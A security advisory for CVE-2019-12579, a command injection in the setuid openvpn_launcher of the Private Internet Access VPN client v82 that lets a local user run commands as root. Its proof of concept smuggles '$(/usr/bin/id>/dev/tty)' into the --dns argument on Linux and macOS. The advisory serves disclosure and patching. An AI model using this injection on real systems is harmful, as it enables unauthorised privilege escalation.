ASA-2019-00385 – London Trust Media Private Internet Access: Command Injection


Allele Security Alert

ASA-2019-00385

Identifier(s)

ASA-2019-00385, CVE-2019-12579

Title

Command Injection

Vendor(s)

London Trust Media

Product(s)

Private Internet Access (PIA) VPN Client

Affected version(s)

Private Internet Access (PIA) VPN Client v82 for Linux and macOS

Fixed version(s)

Private Internet Access (PIA) VPN Client v1.2.1+ for Linux and macOS

Proof of concept

Yes

Description

A vulnerability in the London Trust Media Private Internet Access (PIA)VPN Client v82 for Linux and macOS could allow an authenticated, local attacker to run arbitrary code with elevated privileges.

Technical details

The PIA Linux and macOS openvpn_launcher.64 binary is setuid root. This binary accepts several parameters to update the system configuration. These parameters are passed to operating system commands using Here(1) document. The parameters are not sanitized therefore can be tricked into running arbitrary commands as root by using shell metacharacters. A local unprivileged user can pass specially crafted parameters that will be interpolated by the operating system calls.

All steps are executed as a low privileged user.

Step 1 – Execute openvpn_launcher.64 with the following parameters to execute the id command as root while redirecting the output to /dev/tty.

##########
# Linux
##########
/opt/pia/openvpn_launcher.64 --dns up a b c'$(/usr/bin/id>/dev/tty)' >/dev/null 2>/dev/null
##########
# macOS
##########
/Applications/Private\ Internet\ Access.app/Contents/Resources/openvpn_launcher \
--dns up a b c'$(/usr/bin/id>/dev/tty)' >/dev/null 2>/dev/null

Credits

Rich Mirch

Reference(s)

PIA Linux, macOS Privilege Escalation: Command Injection
https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12579.txt

CVE-2019-12579
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12579

CVE-2019-12579
https://nvd.nist.gov/vuln/detail/CVE-2019-12579

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Last modified: June 26, 2019

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